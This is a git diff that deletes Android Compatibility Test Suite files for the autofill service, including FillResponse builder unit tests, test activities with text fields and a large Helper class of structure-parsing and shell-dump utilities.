-    public void testBuilder_setFlag_valid() {
-        mBuilder.setFlags(0);
-        mBuilder.setFlags(FLAG_TRACK_CONTEXT_COMMITED);
-        mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY);
-    }
-
-    @Test
-    public void testBuilder_disableAutofill_invalid() {
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(0));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(-1));
-    }
-
-    @Test
-    public void testBuilder_disableAutofill_valid() {
-        mBuilder.disableAutofill(mDisableDuration);
-        mBuilder.disableAutofill(Long.MAX_VALUE);
-    }
-
-    @Test
-    public void testBuilder_disableAutofill_mustBeTheOnlyMethodCalled() {
-        // No method can be called after disableAutofill()
-        mBuilder.disableAutofill(mDisableDuration);
-        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
-        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(mDataset));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setFieldClassificationIds(mAutofillId));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setClientState(mClientState));
-
-        // And vice-versa...
-        final FillResponse.Builder builder1 = new FillResponse.Builder().setSaveInfo(mSaveInfo);
-        assertThrows(IllegalStateException.class, () -> builder1.disableAutofill(mDisableDuration));
-        final FillResponse.Builder builder2 = new FillResponse.Builder().addDataset(mDataset);
-        assertThrows(IllegalStateException.class, () -> builder2.disableAutofill(mDisableDuration));
-        final FillResponse.Builder builder3 =
-                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
-        assertThrows(IllegalStateException.class, () -> builder3.disableAutofill(mDisableDuration));
-        final FillResponse.Builder builder4 =
-                new FillResponse.Builder().setFieldClassificationIds(mAutofillId);
-        assertThrows(IllegalStateException.class, () -> builder4.disableAutofill(mDisableDuration));
-        final FillResponse.Builder builder5 =
-                new FillResponse.Builder().setClientState(mClientState);
-        assertThrows(IllegalStateException.class, () -> builder5.disableAutofill(mDisableDuration));
-    }
-
-    @Test
-    public void testBuilder_setFieldClassificationIds_invalid() {
-        assertThrows(NullPointerException.class,
-                () -> mBuilder.setFieldClassificationIds((AutofillId) null));
-        assertThrows(NullPointerException.class,
-                () -> mBuilder.setFieldClassificationIds((AutofillId[]) null));
-        final AutofillId[] oneTooMany =
-                new AutofillId[UserData.getMaxFieldClassificationIdsSize() + 1];
-        for (int i = 0; i < oneTooMany.length; i++) {
-            oneTooMany[i] = new AutofillId(i);
-        }
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setFieldClassificationIds(oneTooMany));
-    }
-
-    @Test
-    public void testBuilder_setFieldClassificationIds_valid() {
-        mBuilder.setFieldClassificationIds(mAutofillId);
-    }
-
-    @Test
-    public void testBuilder_setFieldClassificationIds_setsFlag() {
-        mBuilder.setFieldClassificationIds(mAutofillId);
-        assertThat(mBuilder.build().getFlags()).isEqualTo(FLAG_TRACK_CONTEXT_COMMITED);
-    }
-
-    @Test
-    public void testBuilder_setFieldClassificationIds_addsFlag() {
-        mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY).setFieldClassificationIds(mAutofillId);
-        assertThat(mBuilder.build().getFlags())
-                .isEqualTo(FLAG_TRACK_CONTEXT_COMMITED | FLAG_DISABLE_ACTIVITY_ONLY);
-    }
-
-    @Test
-    public void testBuild_invalid() {
-        assertThrows(IllegalStateException.class, () -> mBuilder.build());
-    }
-
-    @Test
-    public void testBuild_valid() {
-        // authentication only
-        assertThat(new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation)
-                .build()).isNotNull();
-        // save info only
-        assertThat(new FillResponse.Builder().setSaveInfo(mSaveInfo).build()).isNotNull();
-        // dataset only
-        assertThat(new FillResponse.Builder().addDataset(mDataset).build()).isNotNull();
-        // disable autofill only
-        assertThat(new FillResponse.Builder().disableAutofill(mDisableDuration).build())
-                .isNotNull();
-        // fill detection only
-        assertThat(new FillResponse.Builder().setFieldClassificationIds(mAutofillId).build())
-                .isNotNull();
-        // client state only
-        assertThat(new FillResponse.Builder().setClientState(mClientState).build())
-                .isNotNull();
-    }
-
-    @Test
-    public void testBuilder_build_headerOrFooterWithoutDatasets() {
-        assertThrows(IllegalStateException.class,
-                () -> new FillResponse.Builder().setHeader(mHeader).build());
-        assertThrows(IllegalStateException.class,
-                () -> new FillResponse.Builder().setFooter(mFooter).build());
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        assertThat(mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build())
-                .isNotNull();
-
-        assertThrows(IllegalStateException.class, () -> mBuilder.build());
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build());
-        assertThrows(IllegalStateException.class, () -> mBuilder.setIgnoredIds(mIds));
-        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(null));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setClientState(mClientState));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setFlags(0));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setFieldClassificationIds(mAutofillId));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setUserData(mUserData));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setPresentationCancelIds(null));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentContainerActivity.java
deleted file mode 100644
index b95fec6..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FragmentContainerActivity.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.widget.FrameLayout;
-
-import androidx.annotation.Nullable;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity containing an fragment
- */
-public class FragmentContainerActivity extends AbstractAutoFillActivity {
-    static final String FRAGMENT_TAG =
-            FragmentContainerActivity.class.getName() + "#FRAGMENT_TAG";
-    private CountDownLatch mResumed = new CountDownLatch(1);
-    private CountDownLatch mStopped = new CountDownLatch(0);
-    private FrameLayout mRootContainer;
-
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.fragment_container);
-
-        mRootContainer = findViewById(R.id.rootContainer);
-
-        // have to manually add fragment as we cannot remove it otherwise
-        getFragmentManager().beginTransaction().add(R.id.rootContainer,
-                new FragmentWithEditText(), FRAGMENT_TAG).commitNow();
-    }
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-
-        mStopped = new CountDownLatch(1);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-
-        mResumed.countDown();
-    }
-
-    @Override
-    protected void onPause() {
-        super.onPause();
-
-        mResumed = new CountDownLatch(1);
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-
-        mStopped.countDown();
-    }
-
-    /**
-     * Sets whether the root container is focusable or not.
-     *
-     * <p>It's initially set as {@code trye} in the XML layout so autofill is not automatically
-     * triggered in the edit text before the service is prepared to handle it.
-     */
-    public void setRootContainerFocusable(boolean focusable) {
-        mRootContainer.setFocusable(focusable);
-        mRootContainer.setFocusableInTouchMode(focusable);
-    }
-
-    public boolean waitUntilResumed() throws InterruptedException {
-        return mResumed.await(Timeouts.UI_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-    }
-
-    public boolean waitUntilStopped() throws InterruptedException {
-        return mStopped.await(Timeouts.UI_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
deleted file mode 100644
index 52fd39a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Fragment;
-import android.os.Bundle;
-import androidx.annotation.Nullable;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.EditText;
-
-/**
- * A fragment with containing {@link EditText}s
- */
-public class FragmentWithEditText extends Fragment {
-    @Override
-    @Nullable public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
-            Bundle savedInstanceState) {
-        return inflater.inflate(R.layout.fragment_with_edittext, null);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithMoreEditTexts.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithMoreEditTexts.java
deleted file mode 100644
index e2e16ba..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithMoreEditTexts.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Fragment;
-import android.os.Bundle;
-import androidx.annotation.Nullable;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.EditText;
-
-/**
- * A fragment with containing more {@link EditText}s
- */
-public class FragmentWithMoreEditTexts extends Fragment {
-    @Override
-    @Nullable public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
-            Bundle savedInstanceState) {
-        return inflater.inflate(R.layout.fragment_with_more_edittexts, null);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
deleted file mode 100644
index ac60ebc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.GridLayout;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.ArrayList;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity that contains a 4x4 grid of cells (named {@code l1c1} to {@code l4c2}) plus
- * {@code save} and {@code clear} buttons.
- */
-public class GridActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "GridActivity";
-    private static final int N_ROWS = 4;
-    private static final int N_COLS = 2;
-
-    public static final String ID_L1C1 = getResourceId(1, 1);
-    public static final String ID_L1C2 = getResourceId(1, 2);
-    public static final String ID_L2C1 = getResourceId(2, 1);
-    public static final String ID_L2C2 = getResourceId(2, 2);
-    public static final String ID_L3C1 = getResourceId(3, 1);
-    public static final String ID_L3C2 = getResourceId(3, 2);
-    public static final String ID_L4C1 = getResourceId(4, 1);
-    public static final String ID_L4C2 = getResourceId(4, 2);
-
-    private GridLayout mGrid;
-    private final EditText[][] mCells = new EditText[4][2];
-    private Button mSaveButton;
-    private Button mClearButton;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.grid_activity);
-
-        mGrid = findViewById(R.id.grid);
-        mCells[0][0] = findViewById(R.id.l1c1);
-        mCells[0][1] = findViewById(R.id.l1c2);
-        mCells[1][0] = findViewById(R.id.l2c1);
-        mCells[1][1] = findViewById(R.id.l2c2);
-        mCells[2][0] = findViewById(R.id.l3c1);
-        mCells[2][1] = findViewById(R.id.l3c2);
-        mCells[3][0] = findViewById(R.id.l4c1);
-        mCells[3][1] = findViewById(R.id.l4c2);
-        mSaveButton = findViewById(R.id.save);
-        mClearButton = findViewById(R.id.clear);
-
-        mSaveButton.setOnClickListener((v) -> save());
-        mClearButton.setOnClickListener((v) -> resetFields());
-    }
-
-    void save() {
-        getSystemService(AutofillManager.class).commit();
-    }
-
-    void resetFields() {
-        for (int i = 0; i < N_ROWS; i++) {
-            for (int j = 0; j < N_COLS; j++) {
-                mCells[i][j].setText("");
-            }
-        }
-        getSystemService(AutofillManager.class).cancel();
-    }
-
-    EditText getCell(int row, int column) {
-        return mCells[row - 1][column - 1];
-    }
-
-    public static String getResourceId(int line, int col) {
-        return "l" + line + "c" + col;
-    }
-
-    public void onCell(int row, int column, Visitor<EditText> v) {
-        final EditText cell = getCell(row, column);
-        syncRunOnUiThread(() -> v.visit(cell));
-    }
-
-    public void focusCell(int row, int column) {
-        onCell(row, column, EditText::requestFocus);
-    }
-
-    public void clearCell(int row, int column) {
-        onCell(row, column, (c) -> c.setText(""));
-    }
-
-    public void setText(int row, int column, String text) {
-        onCell(row, column, (c) -> c.setText(text));
-    }
-
-    public void forceAutofill(int row, int column) {
-        onCell(row, column, (c) -> getAutofillManager().requestAutofill(c));
-    }
-
-    public void removeCell(int row, int column) {
-        onCell(row, column, (c) -> mGrid.removeView(c));
-    }
-
-    public void addCell(int row, int column, EditText cell) {
-        mCells[row - 1][column - 1] = cell;
-        // TODO: ideally it should be added in the right place...
-        syncRunOnUiThread(() -> mGrid.addView(cell));
-    }
-
-    public void triggerAutofill(boolean manually, int row, int column) {
-        if (manually) {
-            forceAutofill(row, column);
-        } else {
-            focusCell(row, column);
-        }
-    }
-
-    public String getText(int row, int column) throws InterruptedException {
-        final long timeoutMs = 100;
-        final BlockingQueue<String> queue = new LinkedBlockingQueue<>(1);
-        onCell(row, column, (c) -> Helper.offer(queue, c.getText().toString(), timeoutMs));
-        final String text = queue.poll(timeoutMs, TimeUnit.MILLISECONDS);
-        if (text == null) {
-            throw new RetryableException("text not set in " + timeoutMs + "ms");
-        }
-        return text;
-    }
-
-    public FillExpectation expectAutofill() {
-        return new FillExpectation();
-    }
-
-    public void dumpCells() {
-        final StringBuilder output = new StringBuilder("dumpCells():\n");
-        for (int i = 0; i < N_ROWS; i++) {
-            for (int j = 0; j < N_COLS; j++) {
-                final String id = getResourceId(i + 1, j + 1);
-                final String value = mCells[i][j].getText().toString();
-                output.append('\t').append(id).append("='").append(value).append("'\n");
-            }
-        }
-        Log.d(TAG, output.toString());
-    }
-
-    final class FillExpectation {
-
-        private final ArrayList<OneTimeTextWatcher> mWatchers = new ArrayList<>();
-
-        public FillExpectation onCell(int line, int col, String value) {
-            final String resourceId = getResourceId(line, col);
-            final EditText cell = getCell(line, col);
-            final OneTimeTextWatcher watcher = new OneTimeTextWatcher(resourceId, cell, value);
-            mWatchers.add(watcher);
-            cell.addTextChangedListener(watcher);
-            return this;
-        }
-
-        public void assertAutoFilled() throws Exception {
-            try {
-                for (int i = 0; i < mWatchers.size(); i++) {
-                    final OneTimeTextWatcher watcher = mWatchers.get(i);
-                    watcher.assertAutoFilled();
-                }
-            } catch (AssertionError | Exception e) {
-                dumpCells();
-                throw e;
-            }
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
deleted file mode 100644
index 102ef03..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ /dev/null
@@ -1,1613 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.UiBot.PORTRAIT;
-import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
-import static android.provider.Settings.Secure.SELECTED_INPUT_METHOD_SUBTYPE;
-import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
-import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASETS_SHOWN;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.app.PendingIntent;
-import android.app.assist.AssistStructure;
-import android.app.assist.AssistStructure.ViewNode;
-import android.app.assist.AssistStructure.WindowNode;
-import android.content.AutofillOptions;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.icu.util.Calendar;
-import android.os.Bundle;
-import android.os.Environment;
-import android.provider.Settings;
-import android.service.autofill.FieldClassification;
-import android.service.autofill.FieldClassification.Match;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.InlinePresentation;
-import android.text.TextUtils;
-import android.util.Log;
-import android.util.Pair;
-import android.util.Size;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.ViewStructure.HtmlInfo;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillManager;
-import android.view.autofill.AutofillManager.AutofillCallback;
-import android.view.autofill.AutofillValue;
-import android.webkit.WebView;
-import android.widget.RemoteViews;
-import android.widget.inline.InlinePresentationSpec;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.autofill.inline.v1.InlineSuggestionUi;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.BitmapUtils;
-import com.android.compatibility.common.util.OneTimeSettingsListener;
-import com.android.compatibility.common.util.SettingsUtils;
-import com.android.compatibility.common.util.ShellUtils;
-import com.android.compatibility.common.util.TestNameUtils;
-import com.android.compatibility.common.util.Timeout;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.List;
-import java.util.Map;
-import java.util.Map.Entry;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Function;
-import java.util.regex.Pattern;
-
-/**
- * Helper for common funcionalities.
- */
-public final class Helper {
-
-    public static final String TAG = "AutoFillCtsHelper";
-
-    public static final boolean VERBOSE = false;
-
-    public static final String MY_PACKAGE = "android.autofillservice.cts";
-
-    public static final String ID_USERNAME_LABEL = "username_label";
-    public static final String ID_USERNAME = "username";
-    public static final String ID_PASSWORD_LABEL = "password_label";
-    public static final String ID_PASSWORD = "password";
-    public static final String ID_LOGIN = "login";
-    public static final String ID_OUTPUT = "output";
-    public static final String ID_STATIC_TEXT = "static_text";
-    public static final String ID_EMPTY = "empty";
-    public static final String ID_CANCEL_FILL = "cancel_fill";
-
-    public static final String NULL_DATASET_ID = null;
-
-    public static final char LARGE_STRING_CHAR = '6';
-    // NOTE: cannot be much large as it could ANR and fail the test.
-    public static final int LARGE_STRING_SIZE = 100_000;
-    public static final String LARGE_STRING = com.android.compatibility.common.util.TextUtils
-            .repeat(LARGE_STRING_CHAR, LARGE_STRING_SIZE);
-
-    /**
-     * Can be used in cases where the autofill values is required by irrelevant (like adding a
-     * value to an authenticated dataset).
-     */
-    public static final String UNUSED_AUTOFILL_VALUE = null;
-
-    private static final String ACCELLEROMETER_CHANGE =
-            "content insert --uri content://settings/system --bind name:s:accelerometer_rotation "
-                    + "--bind value:i:%d";
-
-    private static final String LOCAL_DIRECTORY = Environment.getExternalStorageDirectory()
-            + "/CtsAutoFillServiceTestCases";
-
-    private static final Timeout SETTINGS_BASED_SHELL_CMD_TIMEOUT = new Timeout(
-            "SETTINGS_SHELL_CMD_TIMEOUT", OneTimeSettingsListener.DEFAULT_TIMEOUT_MS / 2, 2,
-            OneTimeSettingsListener.DEFAULT_TIMEOUT_MS);
-
-    /**
-     * Helper interface used to filter nodes.
-     *
-     * @param <T> node type
-     */
-    interface NodeFilter<T> {
-        /**
-         * Returns whether the node passes the filter for such given id.
-         */
-        boolean matches(T node, Object id);
-    }
-
-    private static final NodeFilter<ViewNode> RESOURCE_ID_FILTER = (node, id) -> {
-        return id.equals(node.getIdEntry());
-    };
-
-    private static final NodeFilter<ViewNode> HTML_NAME_FILTER = (node, id) -> {
-        return id.equals(getHtmlName(node));
-    };
-
-    private static final NodeFilter<ViewNode> HTML_NAME_OR_RESOURCE_ID_FILTER = (node, id) -> {
-        return id.equals(getHtmlName(node)) || id.equals(node.getIdEntry());
-    };
-
-    private static final NodeFilter<ViewNode> TEXT_FILTER = (node, id) -> {
-        return id.equals(node.getText());
-    };
-
-    private static final NodeFilter<ViewNode> AUTOFILL_HINT_FILTER = (node, id) -> {
-        return hasHint(node.getAutofillHints(), id);
-    };
-
-    private static final NodeFilter<ViewNode> WEBVIEW_FORM_FILTER = (node, id) -> {
-        final String className = node.getClassName();
-        if (!className.equals("android.webkit.WebView")) return false;
-
-        final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
-        final String formName = getAttributeValue(htmlInfo, "name");
-        return id.equals(formName);
-    };
-
-    private static final NodeFilter<View> AUTOFILL_HINT_VIEW_FILTER = (view, id) -> {
-        return hasHint(view.getAutofillHints(), id);
-    };
-
-    private static String toString(AssistStructure structure, StringBuilder builder) {
-        builder.append("[component=").append(structure.getActivityComponent());
-        final int nodes = structure.getWindowNodeCount();
-        for (int i = 0; i < nodes; i++) {
-            final WindowNode windowNode = structure.getWindowNodeAt(i);
-            dump(builder, windowNode.getRootViewNode(), " ", 0);
-        }
-        return builder.append(']').toString();
-    }
-
-    @NonNull
-    public static String toString(@NonNull AssistStructure structure) {
-        return toString(structure, new StringBuilder());
-    }
-
-    @Nullable
-    public static String toString(@Nullable AutofillValue value) {
-        if (value == null) return null;
-        if (value.isText()) {
-            // We don't care about PII...
-            final CharSequence text = value.getTextValue();
-            return text == null ? null : text.toString();
-        }
-        return value.toString();
-    }
-
-    /**
-     * Dump the assist structure on logcat.
-     */
-    public static void dumpStructure(String message, AssistStructure structure) {
-        Log.i(TAG, toString(structure, new StringBuilder(message)));
-    }
-
-    /**
-     * Dump the contexts on logcat.
-     */
-    public static void dumpStructure(String message, List<FillContext> contexts) {
-        for (FillContext context : contexts) {
-            dumpStructure(message, context.getStructure());
-        }
-    }
-
-    /**
-     * Dumps the state of the autofill service on logcat.
-     */
-    public static void dumpAutofillService(@NonNull String tag) {
-        final String autofillDump = runShellCommand("dumpsys autofill");
-        Log.i(tag, "dumpsys autofill\n\n" + autofillDump);
-        final String myServiceDump = runShellCommand("dumpsys activity service %s",
-                InstrumentedAutoFillService.SERVICE_NAME);
-        Log.i(tag, "my service dump: \n" + myServiceDump);
-    }
-
-    /**
-     * Dumps the state of {@link android.service.autofill.InlineSuggestionRenderService}, and assert
-     * that it says the number of active inline suggestion views is the given number.
-     *
-     * <p>Note that ideally we should have a test api to fetch the number and verify against it.
-     * But at the time this test is added for Android 11, we have passed the deadline for adding
-     * the new test api, hence this approach.
-     */
-    public static void assertActiveViewCountFromInlineSuggestionRenderService(int count) {
-        String response = runShellCommand(
-                "dumpsys activity service .InlineSuggestionRenderService");
-        Log.d(TAG, "InlineSuggestionRenderService dump: " + response);
-        Pattern pattern = Pattern.compile(".*mActiveInlineSuggestions: " + count + ".*");
-        assertWithMessage("Expecting view count " + count
-                + ", but seeing different count from service dumpsys " + response).that(
-                pattern.matcher(response).find()).isTrue();
-    }
-
-    /**
-     * Sets whether the user completed the initial setup.
-     */
-    public static void setUserComplete(Context context, boolean complete) {
-        SettingsUtils.syncSet(context, USER_SETUP_COMPLETE, complete ? "1" : null);
-    }
-
-    private static void dump(@NonNull StringBuilder builder, @NonNull ViewNode node,
-            @NonNull String prefix, int childId) {
-        final int childrenSize = node.getChildCount();
-        builder.append("\n").append(prefix)
-            .append("child #").append(childId).append(':');
-        append(builder, "afId", node.getAutofillId());
-        append(builder, "afType", node.getAutofillType());
-        append(builder, "afValue", toString(node.getAutofillValue()));
-        append(builder, "resId", node.getIdEntry());
-        append(builder, "class", node.getClassName());
-        append(builder, "text", node.getText());
-        append(builder, "webDomain", node.getWebDomain());
-        append(builder, "checked", node.isChecked());
-        append(builder, "focused", node.isFocused());
-        final HtmlInfo htmlInfo = node.getHtmlInfo();
-        if (htmlInfo != null) {
-            builder.append(", HtmlInfo[tag=").append(htmlInfo.getTag())
-                .append(", attrs: ").append(htmlInfo.getAttributes()).append(']');
-        }
-        if (childrenSize > 0) {
-            append(builder, "#children", childrenSize).append("\n").append(prefix);
-            prefix += " ";
-            if (childrenSize > 0) {
-                for (int i = 0; i < childrenSize; i++) {
-                    dump(builder, node.getChildAt(i), prefix, i);
-                }
-            }
-        }
-    }
-
-    /**
-     * Appends a field value to a {@link StringBuilder} when it's not {@code null}.
-     */
-    @NonNull
-    public static StringBuilder append(@NonNull StringBuilder builder, @NonNull String field,
-            @Nullable Object value) {
-        if (value == null) return builder;
-
-        if ((value instanceof Boolean) && ((Boolean) value)) {
-            return builder.append(", ").append(field);
-        }
-
-        if (value instanceof Integer && ((Integer) value) == 0
-                || value instanceof CharSequence && TextUtils.isEmpty((CharSequence) value)) {
-            return builder;
-        }
-
-        return builder.append(", ").append(field).append('=').append(value);
-    }
-
-    /**
-     * Appends a field value to a {@link StringBuilder} when it's {@code true}.
-     */
-    @NonNull
-    public static StringBuilder append(@NonNull StringBuilder builder, @NonNull String field,
-            boolean value) {
-        if (value) {
-            builder.append(", ").append(field);
-        }
-        return builder;
-    }
-
-    /**
-     * Gets a node if it matches the filter criteria for the given id.
-     */
-    public static ViewNode findNodeByFilter(@NonNull AssistStructure structure, @NonNull Object id,
-            @NonNull NodeFilter<ViewNode> filter) {
-        Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
-        final int nodes = structure.getWindowNodeCount();
-        for (int i = 0; i < nodes; i++) {
-            final WindowNode windowNode = structure.getWindowNodeAt(i);
-            final ViewNode rootNode = windowNode.getRootViewNode();
-            final ViewNode node = findNodeByFilter(rootNode, id, filter);
-            if (node != null) {
-                return node;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Gets a node if it matches the filter criteria for the given id.
-     */
-    public static ViewNode findNodeByFilter(@NonNull List<FillContext> contexts, @NonNull Object id,
-            @NonNull NodeFilter<ViewNode> filter) {
-        for (FillContext context : contexts) {
-            ViewNode node = findNodeByFilter(context.getStructure(), id, filter);
-            if (node != null) {
-                return node;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Gets a node if it matches the filter criteria for the given id.
-     */
-    public static ViewNode findNodeByFilter(@NonNull ViewNode node, @NonNull Object id,
-            @NonNull NodeFilter<ViewNode> filter) {
-        if (filter.matches(node, id)) {
-            return node;
-        }
-        final int childrenSize = node.getChildCount();
-        if (childrenSize > 0) {
-            for (int i = 0; i < childrenSize; i++) {
-                final ViewNode found = findNodeByFilter(node.getChildAt(i), id, filter);
-                if (found != null) {
-                    return found;
-                }
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Gets a node given its Android resource id, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
-        return findNodeByFilter(structure, resourceId, RESOURCE_ID_FILTER);
-    }
-
-    /**
-     * Gets a node given its Android resource id, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByResourceId(List<FillContext> contexts, String resourceId) {
-        return findNodeByFilter(contexts, resourceId, RESOURCE_ID_FILTER);
-    }
-
-    /**
-     * Gets a node given its Android resource id, or {@code null} if not found.
-     */
